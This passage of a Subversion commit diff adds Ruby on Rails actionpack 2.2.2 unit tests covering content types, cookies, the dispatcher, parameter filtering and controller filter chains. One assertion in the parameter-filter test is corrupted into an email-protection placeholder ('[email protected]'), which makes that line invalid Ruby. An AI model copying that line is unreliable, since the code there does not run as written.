+  def render_content_type_from_body
+    response.content_type = Mime::RSS
+    render :text => "hello world!"
+  end
+
+  def render_defaults
+    render :text => "hello world!"
+  end
+
+  def render_content_type_from_render
+    render :text => "hello world!", :content_type => Mime::RSS
+  end
+
+  def render_charset_from_body
+    response.charset = "utf-16"
+    render :text => "hello world!"
+  end
+
+  def render_nil_charset_from_body
+    response.charset = nil
+    render :text => "hello world!"
+  end
+
+  def render_default_for_rhtml
+  end
+
+  def render_default_for_rxml
+  end
+
+  def render_default_for_rjs
+  end
+
+  def render_change_for_rxml
+    response.content_type = Mime::HTML
+    render :action => "render_default_for_rxml"
+  end
+
+  def render_default_content_types_for_respond_to
+    respond_to do |format|
+      format.html { render :text   => "hello world!" }
+      format.xml  { render :action => "render_default_content_types_for_respond_to.rhtml" }
+      format.js   { render :text   => "hello world!" }
+      format.rss  { render :text   => "hello world!", :content_type => Mime::XML }
+    end
+  end
+
+  def rescue_action(e) raise end
+end
+
+class ContentTypeTest < Test::Unit::TestCase
+  def setup
+    @controller = ContentTypeController.new
+
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    @controller.logger = Logger.new(nil)
+
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+  end
+
+  def test_render_defaults
+    get :render_defaults
+    assert_equal "utf-8", @response.charset
+    assert_equal Mime::HTML, @response.content_type
+  end
+
+  def test_render_changed_charset_default
+    ContentTypeController.default_charset = "utf-16"
+    get :render_defaults
+    assert_equal "utf-16", @response.charset
+    assert_equal Mime::HTML, @response.content_type
+    ContentTypeController.default_charset = "utf-8"
+  end
+
+  def test_content_type_from_body
+    get :render_content_type_from_body
+    assert_equal "application/rss+xml", @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  def test_content_type_from_render
+    get :render_content_type_from_render
+    assert_equal "application/rss+xml", @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  def test_charset_from_body
+    get :render_charset_from_body
+    assert_equal Mime::HTML, @response.content_type
+    assert_equal "utf-16", @response.charset
+  end
+
+  def test_nil_charset_from_body
+    get :render_nil_charset_from_body
+    assert_equal Mime::HTML, @response.content_type
+    assert_equal "utf-8", @response.charset, @response.headers.inspect
+  end
+
+  def test_nil_default_for_rhtml
+    ContentTypeController.default_charset = nil
+    get :render_default_for_rhtml
+    assert_equal Mime::HTML, @response.content_type
+    assert_nil @response.charset, @response.headers.inspect
+  ensure
+    ContentTypeController.default_charset = "utf-8"
+  end
+
+  def test_default_for_rhtml
+    get :render_default_for_rhtml
+    assert_equal Mime::HTML, @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  def test_default_for_rxml
+    get :render_default_for_rxml
+    assert_equal Mime::XML, @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  def test_default_for_rjs
+    xhr :post, :render_default_for_rjs
+    assert_equal Mime::JS, @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  def test_change_for_rxml
+    get :render_change_for_rxml
+    assert_equal Mime::HTML, @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+end
+
+class AcceptBasedContentTypeTest < ActionController::TestCase
+
+  tests ContentTypeController
+
+  def setup
+    ActionController::Base.use_accept_header = true
+  end
+
+  def teardown
+    ActionController::Base.use_accept_header = false
+  end
+
+
+  def test_render_default_content_types_for_respond_to
+    @request.accept = Mime::HTML.to_s
+    get :render_default_content_types_for_respond_to
+    assert_equal Mime::HTML, @response.content_type
+
+    @request.accept = Mime::JS.to_s
+    get :render_default_content_types_for_respond_to
+    assert_equal Mime::JS, @response.content_type
+  end
+
+  def test_render_default_content_types_for_respond_to_with_template
+    @request.accept = Mime::XML.to_s
+    get :render_default_content_types_for_respond_to
+    assert_equal Mime::XML, @response.content_type
+  end
+
+  def test_render_default_content_types_for_respond_to_with_overwrite
+    @request.accept = Mime::RSS.to_s
+    get :render_default_content_types_for_respond_to
+    assert_equal Mime::XML, @response.content_type
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures/app/controllers/admin/user_controller.rb
===================================================================

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures/app/controllers/user_controller.rb
===================================================================

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib/plugin_controller.rb
===================================================================

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/cookie_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/cookie_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/cookie_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,146 @@
+require 'abstract_unit'
+
+class CookieTest < Test::Unit::TestCase
+  class TestController < ActionController::Base
+    def authenticate
+      cookies["user_name"] = "david"
+    end
+
+    def authenticate_for_fourteen_days
+      cookies["user_name"] = { "value" => "david", "expires" => Time.local(2005, 10, 10) }
+    end
+
+    def authenticate_for_fourteen_days_with_symbols
+      cookies[:user_name] = { :value => "david", :expires => Time.local(2005, 10, 10) }
+    end
+
+    def set_multiple_cookies
+      cookies["user_name"] = { "value" => "david", "expires" => Time.local(2005, 10, 10) }
+      cookies["login"]     = "XJ-122"
+    end
+    
+    def access_frozen_cookies
+      cookies["will"] = "work"
+    end
+
+    def logout
+      cookies.delete("user_name")
+    end
+
+    def delete_cookie_with_path
+      cookies.delete("user_name", :path => '/beaten')
+      render :text => "hello world"
+    end
+
+    def authenticate_with_http_only
+      cookies["user_name"] = { :value => "david", :http_only => true }
+    end
+
+    def rescue_action(e) 
+      raise unless ActionView::MissingTemplate # No templates here, and we don't care about the output 
+    end
+  end
+
+  def setup
+    @request  = ActionController::TestRequest.new
+    @response = ActionController::TestResponse.new
+
+    @controller = TestController.new
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_setting_cookie
+    get :authenticate
+    assert_equal [ CGI::Cookie::new("name" => "user_name", "value" => "david") ], @response.headers["cookie"]
+  end
+
+  def test_setting_cookie_for_fourteen_days
+    get :authenticate_for_fourteen_days
+    assert_equal [ CGI::Cookie::new("name" => "user_name", "value" => "david", "expires" => Time.local(2005, 10, 10)) ], @response.headers["cookie"]
+  end
+
+  def test_setting_cookie_for_fourteen_days_with_symbols
+    get :authenticate_for_fourteen_days_with_symbols
+    assert_equal [ CGI::Cookie::new("name" => "user_name", "value" => "david", "expires" => Time.local(2005, 10, 10)) ], @response.headers["cookie"]
+  end
+
+  def test_setting_cookie_with_http_only
+    get :authenticate_with_http_only
+    assert_equal [ CGI::Cookie::new("name" => "user_name", "value" => "david", "http_only" => true) ], @response.headers["cookie"]
+    assert_equal CGI::Cookie::new("name" => "user_name", "value" => "david", "path" => "/", "http_only" => true).to_s, @response.headers["cookie"][0].to_s
+  end
+
+  def test_multiple_cookies
+    get :set_multiple_cookies
+    assert_equal 2, @response.cookies.size
+  end
+
+  def test_setting_test_cookie
+    assert_nothing_raised { get :access_frozen_cookies }
+  end
+  
+  def test_expiring_cookie
+    get :logout
+    assert_equal [ CGI::Cookie::new("name" => "user_name", "value" => "", "expires" => Time.at(0)) ], @response.headers["cookie"]
+    assert_equal CGI::Cookie::new("name" => "user_name", "value" => "", "expires" => Time.at(0)).value, []
+  end  
+  
+  def test_cookiejar_accessor
+    @request.cookies["user_name"] = CGI::Cookie.new("name" => "user_name", "value" => "david", "expires" => Time.local(2025, 10, 10))
+    @controller.request = @request
+    jar = ActionController::CookieJar.new(@controller)
+    assert_equal "david", jar["user_name"]
+    assert_equal nil, jar["something_else"]
+  end
+
+  def test_cookiejar_accessor_with_array_value
+    a = %w{1 2 3}
+    @request.cookies["pages"] = CGI::Cookie.new("name" => "pages", "value" => a, "expires" => Time.local(2025, 10, 10))
+    @controller.request = @request
+    jar = ActionController::CookieJar.new(@controller)
+    assert_equal a, jar["pages"]
+  end
+  
+  def test_delete_cookie_with_path
+    get :delete_cookie_with_path
+    assert_equal "/beaten", @response.headers["cookie"].first.path
+    assert_not_equal "/", @response.headers["cookie"].first.path
+  end
+
+  def test_cookie_to_s_simple_values
+    assert_equal 'myname=myvalue; path=', CGI::Cookie.new('myname', 'myvalue').to_s
+  end
+
+  def test_cookie_to_s_hash
+    cookie_str = CGI::Cookie.new(
+      'name' => 'myname',
+      'value' => 'myvalue',
+      'domain' => 'mydomain',
+      'path' => 'mypath',
+      'expires' => Time.utc(2007, 10, 20),
+      'secure' => true,
+      'http_only' => true).to_s
+    assert_equal 'myname=myvalue; domain=mydomain; path=mypath; expires=Sat, 20 Oct 2007 00:00:00 GMT; secure; HttpOnly', cookie_str
+  end
+
+  def test_cookie_to_s_hash_default_not_secure_not_http_only
+    cookie_str = CGI::Cookie.new(
+      'name' => 'myname',
+      'value' => 'myvalue',
+      'domain' => 'mydomain',
+      'path' => 'mypath',
+      'expires' => Time.utc(2007, 10, 20))
+    assert cookie_str !~ /secure/
+    assert cookie_str !~ /HttpOnly/
+  end
+
+  def test_cookies_should_not_be_split_on_ampersand_values
+    cookies = CGI::Cookie.parse('return_to=http://rubyonrails.org/search?term=api&scope=all&global=true')
+    assert_equal({"return_to" => ["http://rubyonrails.org/search?term=api&scope=all&global=true"]}, cookies)
+  end
+
+  def test_cookies_should_not_be_split_on_values_with_newlines
+    cookies = CGI::Cookie.new("name" => "val", "value" => "this\nis\na\ntest")
+    assert cookies.size == 1
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/deprecation/deprecated_base_methods_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/deprecation/deprecated_base_methods_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/deprecation/deprecated_base_methods_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,34 @@
+require 'abstract_unit'
+
+class DeprecatedBaseMethodsTest < Test::Unit::TestCase
+  class Target < ActionController::Base
+    def home_url(greeting)
+      "http://example.com/#{greeting}"
+    end
+
+    def raises_name_error
+      this_method_doesnt_exist
+    end
+
+    def rescue_action(e) raise e end
+  end
+
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @controller = Target.new
+  end
+
+  def test_log_error_silences_deprecation_warnings
+    get :raises_name_error
+  rescue => e
+    assert_not_deprecated { @controller.send :log_error, e }
+  end
+
+  def test_assertion_failed_error_silences_deprecation_warnings
+    get :raises_name_error
+  rescue => e
+    error = Test::Unit::Error.new('testing ur doodz', e)
+    assert_not_deprecated { error.message }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/dispatcher_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/dispatcher_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/dispatcher_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,113 @@
+require 'abstract_unit'
+
+uses_mocha 'dispatcher tests' do
+
+require 'action_controller/dispatcher'
+
+class DispatcherTest < Test::Unit::TestCase
+  Dispatcher = ActionController::Dispatcher
+
+  def setup
+    @output = StringIO.new
+    ENV['REQUEST_METHOD'] = 'GET'
+
+    # Clear callbacks as they are redefined by Dispatcher#define_dispatcher_callbacks
+    Dispatcher.instance_variable_set("@prepare_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+    Dispatcher.instance_variable_set("@before_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+    Dispatcher.instance_variable_set("@after_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+
+    Dispatcher.stubs(:require_dependency)
+
+    @dispatcher = Dispatcher.new(@output)
+  end
+
+  def teardown
+    ENV.delete 'REQUEST_METHOD'
+  end
+
+  def test_clears_dependencies_after_dispatch_if_in_loading_mode
+    ActiveSupport::Dependencies.expects(:clear).once
+    dispatch(@output, false)
+  end
+
+  def test_reloads_routes_before_dispatch_if_in_loading_mode
+    ActionController::Routing::Routes.expects(:reload).once
+    dispatch(@output, false)
+  end
+
+  def test_clears_asset_tag_cache_before_dispatch_if_in_loading_mode
+    ActionView::Helpers::AssetTagHelper::AssetTag::Cache.expects(:clear).once
+    dispatch(@output, false)
+  end
+
+  def test_leaves_dependencies_after_dispatch_if_not_in_loading_mode
+    ActionController::Routing::Routes.expects(:reload).never
+    ActiveSupport::Dependencies.expects(:clear).never
+
+    dispatch
+  end
+
+  # Stub out dispatch error logger
+  class << Dispatcher
+    def log_failsafe_exception(status, exception); end
+  end
+
+  def test_failsafe_response
+    CGI.expects(:new).raises('some multipart parsing failure')
+    Dispatcher.expects(:log_failsafe_exception)
+
+    assert_nothing_raised { dispatch }
+
+    assert_equal "Status: 400 Bad Request\r\nContent-Type: text/html\r\n\r\n<html><body><h1>400 Bad Request</h1></body></html>", @output.string
+  end
+
+  def test_prepare_callbacks
+    a = b = c = nil
+    Dispatcher.to_prepare { |*args| a = b = c = 1 }
+    Dispatcher.to_prepare { |*args| b = c = 2 }
+    Dispatcher.to_prepare { |*args| c = 3 }
+
+    # Ensure to_prepare callbacks are not run when defined
+    assert_nil a || b || c
+
+    # Run callbacks
+    @dispatcher.send :run_callbacks, :prepare_dispatch
+
+    assert_equal 1, a
+    assert_equal 2, b
+    assert_equal 3, c
+
+    # Make sure they are only run once
+    a = b = c = nil
+    @dispatcher.send :dispatch
+    assert_nil a || b || c
+  end
+
+  def test_to_prepare_with_identifier_replaces
+    a = b = nil
+    Dispatcher.to_prepare(:unique_id) { |*args| a = b = 1 }
+    Dispatcher.to_prepare(:unique_id) { |*args| a = 2 }
+
+    @dispatcher.send :run_callbacks, :prepare_dispatch
+    assert_equal 2, a
+    assert_equal nil, b
+  end
+
+  private
+    def dispatch(output = @output, cache_classes = true)
+      controller = mock
+      controller.stubs(:process).returns(controller)
+      controller.stubs(:out).with(output).returns('response')
+
+      ActionController::Routing::Routes.stubs(:recognize).returns(controller)
+
+      Dispatcher.define_dispatcher_callbacks(cache_classes)
+      Dispatcher.dispatch(nil, {}, output)
+    end
+
+    def assert_subclasses(howmany, klass, message = klass.subclasses.inspect)
+      assert_equal howmany, klass.subclasses.size, message
+    end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/fake_controllers.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/fake_controllers.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/fake_controllers.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+class << Object; alias_method :const_available?, :const_defined?; end
+  
+class ContentController < Class.new(ActionController::Base)
+end
+class NotAController
+end
+module Admin
+  class << self; alias_method :const_available?, :const_defined?; end
+  class UserController < Class.new(ActionController::Base); end
+  class NewsFeedController < Class.new(ActionController::Base); end
+end
+
+# For speed test
+class SpeedController < ActionController::Base;  end
+class SearchController        < SpeedController; end
+class VideosController        < SpeedController; end
+class VideoFileController     < SpeedController; end
+class VideoSharesController   < SpeedController; end
+class VideoAbusesController   < SpeedController; end
+class VideoUploadsController  < SpeedController; end
+class VideoVisitsController   < SpeedController; end
+class UsersController         < SpeedController; end
+class SettingsController      < SpeedController; end
+class ChannelsController      < SpeedController; end
+class ChannelVideosController < SpeedController; end
+class SessionsController      < SpeedController; end
+class LostPasswordsController < SpeedController; end
+class PagesController         < SpeedController; end
+
+ActionController::Routing::Routes.draw do |map|
+  map.route_one 'route_one', :controller => 'elsewhere', :action => 'flash_me'
+  map.connect ':controller/:action/:id'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/fake_models.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/fake_models.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/fake_models.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+class Customer < Struct.new(:name, :id)
+  def to_param
+    id.to_s
+  end
+end
+
+class BadCustomer < Customer
+end
+
+class GoodCustomer < Customer
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/filter_params_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/filter_params_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/filter_params_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,49 @@
+require 'abstract_unit'
+
+class FilterParamController < ActionController::Base
+end
+
+class FilterParamTest < Test::Unit::TestCase
+  def setup
+    @controller = FilterParamController.new
+  end
+
+  def test_filter_parameters
+    assert FilterParamController.respond_to?(:filter_parameter_logging)
+    assert [email protected]_to?(:filter_parameters)
+
+    FilterParamController.filter_parameter_logging
+    assert @controller.respond_to?(:filter_parameters)
+
+    test_hashes = [[{},{},[]],
+    [{'foo'=>nil},{'foo'=>nil},[]],
+    [{'foo'=>'bar'},{'foo'=>'bar'},[]],
+    [{'foo'=>'bar'},{'foo'=>'bar'},%w'food'],
+    [{'foo'=>'bar'},{'foo'=>'[FILTERED]'},%w'foo'],
+    [{'foo'=>'bar', 'bar'=>'foo'},{'foo'=>'[FILTERED]', 'bar'=>'foo'},%w'foo baz'],
+    [{'foo'=>'bar', 'baz'=>'foo'},{'foo'=>'[FILTERED]', 'baz'=>'[FILTERED]'},%w'foo baz'],
+    [{'bar'=>{'foo'=>'bar','bar'=>'foo'}},{'bar'=>{'foo'=>'[FILTERED]','bar'=>'foo'}},%w'fo'],
+    [{'foo'=>{'foo'=>'bar','bar'=>'foo'}},{'foo'=>'[FILTERED]'},%w'f banana']]
+
+    test_hashes.each do |before_filter, after_filter, filter_words|
+      FilterParamController.filter_parameter_logging(*filter_words)
+      assert_equal after_filter, @controller.__send__(:filter_parameters, before_filter)
+
+      filter_words.push('blah')
+      FilterParamController.filter_parameter_logging(*filter_words) do |key, value|
+        value.reverse! if key =~ /bargain/
+      end
+
+      before_filter['barg'] = {'bargain'=>'gain', 'blah'=>'bar', 'bar'=>{'bargain'=>{'blah'=>'foo'}}}
+      after_filter['barg'] = {'bargain'=>'niag', 'blah'=>'[FILTERED]', 'bar'=>{'bargain'=>{'blah'=>'[FILTERED]'}}}
+
+      assert_equal after_filter, @controller.__send__(:filter_parameters, before_filter)
+    end
+  end
+
+  def test_filter_parameters_is_protected
+    FilterParamController.filter_parameter_logging(:foo)
+    assert !FilterParamController.action_methods.include?('filter_parameters')
+    assert_raise(NoMethodError) { @controller.filter_parameters([{'password' => '[FILTERED]'}]) }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/filters_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/filters_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/filters_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,881 @@
+require 'abstract_unit'
+
+# FIXME: crashes Ruby 1.9
+class FilterTest < Test::Unit::TestCase
+  class TestController < ActionController::Base
+    before_filter :ensure_login
+    after_filter  :clean_up
+
+    def show
+      render :inline => "ran action"
+    end
+
+    private
+      def ensure_login
+        @ran_filter ||= []
+        @ran_filter << "ensure_login"
+      end
+
+      def clean_up
+        @ran_after_filter ||= []
+        @ran_after_filter << "clean_up"
+      end
+  end
+
+  class ChangingTheRequirementsController < TestController
+    before_filter :ensure_login, :except => [:go_wild]
+
+    def go_wild
+      render :text => "gobble"
+    end
+  end
+
+  class TestMultipleFiltersController < ActionController::Base
+    before_filter :try_1
+    before_filter :try_2
+    before_filter :try_3
+
+    (1..3).each do |i|
+      define_method "fail_#{i}" do
+        render :text => i.to_s
+      end
+    end
+
+    protected
+    (1..3).each do |i|
+      define_method "try_#{i}" do
+        instance_variable_set :@try, i
+        if action_name == "fail_#{i}"
+          head(404)
+        end
+      end
+    end
+  end
+
+  class RenderingController < ActionController::Base
+    before_filter :render_something_else
+
+    def show
+      @ran_action = true
+      render :inline => "ran action"
+    end
+
+    private
+      def render_something_else
+        render :inline => "something else"
+      end
+  end
+
+  class ConditionalFilterController < ActionController::Base
+    def show
+      render :inline => "ran action"
+    end
+
+    def another_action
+      render :inline => "ran action"
+    end
+
+    def show_without_filter
+      render :inline => "ran action without filter"
+    end
+
+    private
+      def ensure_login
+        @ran_filter ||= []
+        @ran_filter << "ensure_login"
+      end
+
+      def clean_up_tmp
+        @ran_filter ||= []
+        @ran_filter << "clean_up_tmp"
+      end
+
+      def rescue_action(e) raise(e) end
+  end
+
+  class ConditionalCollectionFilterController < ConditionalFilterController
+    before_filter :ensure_login, :except => [ :show_without_filter, :another_action ]
+  end
+
+  class OnlyConditionSymController < ConditionalFilterController
+    before_filter :ensure_login, :only => :show
+  end
+
+  class ExceptConditionSymController < ConditionalFilterController
+    before_filter :ensure_login, :except => :show_without_filter
+  end
+
+  class BeforeAndAfterConditionController < ConditionalFilterController
+    before_filter :ensure_login, :only => :show
+    after_filter  :clean_up_tmp, :only => :show
+  end
+
+  class OnlyConditionProcController < ConditionalFilterController
+    before_filter(:only => :show) {|c| c.instance_variable_set(:"@ran_proc_filter", true) }
+  end
+
+  class ExceptConditionProcController < ConditionalFilterController
+    before_filter(:except => :show_without_filter) {|c| c.instance_variable_set(:"@ran_proc_filter", true) }
+  end
+
+  class ConditionalClassFilter
+    def self.filter(controller) controller.instance_variable_set(:"@ran_class_filter", true) end
+  end
+
+  class OnlyConditionClassController < ConditionalFilterController
+    before_filter ConditionalClassFilter, :only => :show
+  end
+
+  class ExceptConditionClassController < ConditionalFilterController
+    before_filter ConditionalClassFilter, :except => :show_without_filter
+  end
+
+  class AnomolousYetValidConditionController < ConditionalFilterController
+    before_filter(ConditionalClassFilter, :ensure_login, Proc.new {|c| c.instance_variable_set(:"@ran_proc_filter1", true)}, :except => :show_without_filter) { |c| c.instance_variable_set(:"@ran_proc_filter2", true)}
+  end
+
+  class ConditionalOptionsFilter < ConditionalFilterController
+    before_filter :ensure_login, :if => Proc.new { |c| true }
+    before_filter :clean_up_tmp, :if => Proc.new { |c| false }
+  end
+
+  class EmptyFilterChainController < TestController
+    self.filter_chain.clear
+    def show
+      @action_executed = true
+      render :text => "yawp!"
+    end
+  end
+
+  class PrependingController < TestController
+    prepend_before_filter :wonderful_life
+    # skip_before_filter :fire_flash
+
+    private
+      def wonderful_life
+        @ran_filter ||= []
+        @ran_filter << "wonderful_life"
+      end
+  end
+
+  class SkippingAndLimitedController < TestController
+    skip_before_filter :ensure_login
+    before_filter :ensure_login, :only => :index
+
+    def index
+      render :text => 'ok'
+    end
+    
+    def public
+    end
+  end
+  
+  class SkippingAndReorderingController < TestController
+    skip_before_filter :ensure_login
+    before_filter :find_record
+    before_filter :ensure_login
+
+    private
+      def find_record
+        @ran_filter ||= []
+        @ran_filter << "find_record"
+      end
+  end
+
+  class ConditionalSkippingController < TestController
+    skip_before_filter :ensure_login, :only => [ :login ]
+    skip_after_filter  :clean_up,     :only => [ :login ]
+
+    before_filter :find_user, :only => [ :change_password ]
+
+    def login
+      render :inline => "ran action"
+    end
+
+    def change_password
+      render :inline => "ran action"
+    end
+
+    protected
+      def find_user
+        @ran_filter ||= []
+        @ran_filter << "find_user"
+      end
+  end
+
+  class ConditionalParentOfConditionalSkippingController < ConditionalFilterController
+    before_filter :conditional_in_parent, :only => [:show, :another_action]
+    after_filter  :conditional_in_parent, :only => [:show, :another_action]
+
+    private
+
+      def conditional_in_parent
+        @ran_filter ||= []
+        @ran_filter << 'conditional_in_parent'
+      end
+  end
+
+  class ChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
+    skip_before_filter :conditional_in_parent, :only => :another_action
+    skip_after_filter  :conditional_in_parent, :only => :another_action
+  end
+
+  class AnotherChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
+    skip_before_filter :conditional_in_parent, :only => :show
+  end
+
+  class ProcController < PrependingController
+    before_filter(proc { |c| c.instance_variable_set(:"@ran_proc_filter", true) })
+  end
+
+  class ImplicitProcController < PrependingController
+    before_filter { |c| c.instance_variable_set(:"@ran_proc_filter", true) }
+  end
+
+  class AuditFilter
+    def self.filter(controller)
+      controller.instance_variable_set(:"@was_audited", true)
+    end
+  end
+
+  class AroundFilter
+    def before(controller)
+      @execution_log = "before"
+      controller.class.execution_log << " before aroundfilter " if controller.respond_to? :execution_log
+      controller.instance_variable_set(:"@before_ran", true)
+    end
+
+    def after(controller)
+      controller.instance_variable_set(:"@execution_log", @execution_log + " and after")
+      controller.instance_variable_set(:"@after_ran", true)
+      controller.class.execution_log << " after aroundfilter " if controller.respond_to? :execution_log
+    end
+  end
+
+  class AppendedAroundFilter
+    def before(controller)
+      controller.class.execution_log << " before appended aroundfilter "
+    end
+
+    def after(controller)
+      controller.class.execution_log << " after appended aroundfilter "
+    end
+  end
+
+  class AuditController < ActionController::Base
+    before_filter(AuditFilter)
+
+    def show
+      render :text => "hello"
+    end
+  end
+
+  class AroundFilterController < PrependingController
+    around_filter AroundFilter.new
+  end
+
+  class BeforeAfterClassFilterController < PrependingController
+    begin
+      filter = AroundFilter.new
+      before_filter filter
+      after_filter filter
+    end
+  end
+
+  class MixedFilterController < PrependingController
+    cattr_accessor :execution_log
+
+    def initialize
+      @@execution_log = ""
+    end
+
+    before_filter { |c| c.class.execution_log << " before procfilter "  }
+    prepend_around_filter AroundFilter.new
+
+    after_filter  { |c| c.class.execution_log << " after procfilter " }
+    append_around_filter AppendedAroundFilter.new
+  end
+
+  class MixedSpecializationController < ActionController::Base
+    class OutOfOrder < StandardError; end
+
+    before_filter :first
+    before_filter :second, :only => :foo
+
+    def foo
+      render :text => 'foo'
+    end
+
+    def bar
+      render :text => 'bar'
+    end
+
+    protected
+      def first
+        @first = true
+      end
+
+      def second
+        raise OutOfOrder unless @first
+      end
+  end
+
+  class DynamicDispatchController < ActionController::Base
+    before_filter :choose
+
+    %w(foo bar baz).each do |action|
+      define_method(action) { render :text => action }
+    end
+
+    private
+      def choose
+        self.action_name = params[:choose]
+      end
+  end
+
+  class PrependingBeforeAndAfterController < ActionController::Base
+    prepend_before_filter :before_all
+    prepend_after_filter :after_all
+    before_filter :between_before_all_and_after_all
+
+    def before_all
+      @ran_filter ||= []
+      @ran_filter << 'before_all'
+    end
+
+    def after_all
+      @ran_filter ||= []
+      @ran_filter << 'after_all'
+    end
+
+    def between_before_all_and_after_all
+      @ran_filter ||= []
+      @ran_filter << 'between_before_all_and_after_all'
+    end
+    def show
+      render :text => 'hello'
+    end
+  end
+
+  class ErrorToRescue < Exception; end
+
+  class RescuingAroundFilterWithBlock
+    def filter(controller)
+      begin
+        yield
+      rescue ErrorToRescue => ex
+        controller.__send__ :render, :text => "I rescued this: #{ex.inspect}"
+      end
+    end
+  end
+
+  class RescuedController < ActionController::Base
+    around_filter RescuingAroundFilterWithBlock.new
+
+    def show
+      raise ErrorToRescue.new("Something made the bad noise.")
+    end
+
+  private
+    def rescue_action(exception)
+      raise exception
+    end
+  end
+
+  class NonYieldingAroundFilterController < ActionController::Base
+
+    before_filter :filter_one
+    around_filter :non_yielding_filter
+    before_filter :filter_two
+    after_filter :filter_three
+
+    def index
+      render :inline => "index"
+    end
+
+    #make sure the controller complains
+    def rescue_action(e); raise e; end
+
+    private
+
+      def filter_one
+        @filters  ||= []
+        @filters  << "filter_one"
+      end
+
+      def filter_two
+        @filters  << "filter_two"
+      end
+
+      def non_yielding_filter
+        @filters  << "zomg it didn't yield"
+        @filter_return_value
+      end
+
+      def filter_three
+        @filters  << "filter_three"
+      end
+
+  end
+
+  def test_non_yielding_around_filters_not_returning_false_do_not_raise
+    controller = NonYieldingAroundFilterController.new
+    controller.instance_variable_set "@filter_return_value", true
+    assert_nothing_raised do
+      test_process(controller, "index")
+    end
+  end
+
+  def test_non_yielding_around_filters_returning_false_do_not_raise
+    controller = NonYieldingAroundFilterController.new
+    controller.instance_variable_set "@filter_return_value", false
+    assert_nothing_raised do
+      test_process(controller, "index")
+    end
+  end
+
+  def test_after_filters_are_not_run_if_around_filter_returns_false
+    controller = NonYieldingAroundFilterController.new
+    controller.instance_variable_set "@filter_return_value", false
+    test_process(controller, "index")
+    assert_equal ["filter_one", "zomg it didn't yield"], controller.assigns['filters']
+  end
+
+  def test_after_filters_are_not_run_if_around_filter_does_not_yield
+    controller = NonYieldingAroundFilterController.new
+    controller.instance_variable_set "@filter_return_value", true
+    test_process(controller, "index")
+    assert_equal ["filter_one", "zomg it didn't yield"], controller.assigns['filters']
+  end
+
+  def test_empty_filter_chain
+    assert_equal 0, EmptyFilterChainController.filter_chain.size
+    assert test_process(EmptyFilterChainController).template.assigns['action_executed']
+  end
+
+  def test_added_filter_to_inheritance_graph
+    assert_equal [ :ensure_login ], TestController.before_filters
+  end
+
+  def test_base_class_in_isolation
+    assert_equal [ ], ActionController::Base.before_filters
+  end
+
+  def test_prepending_filter
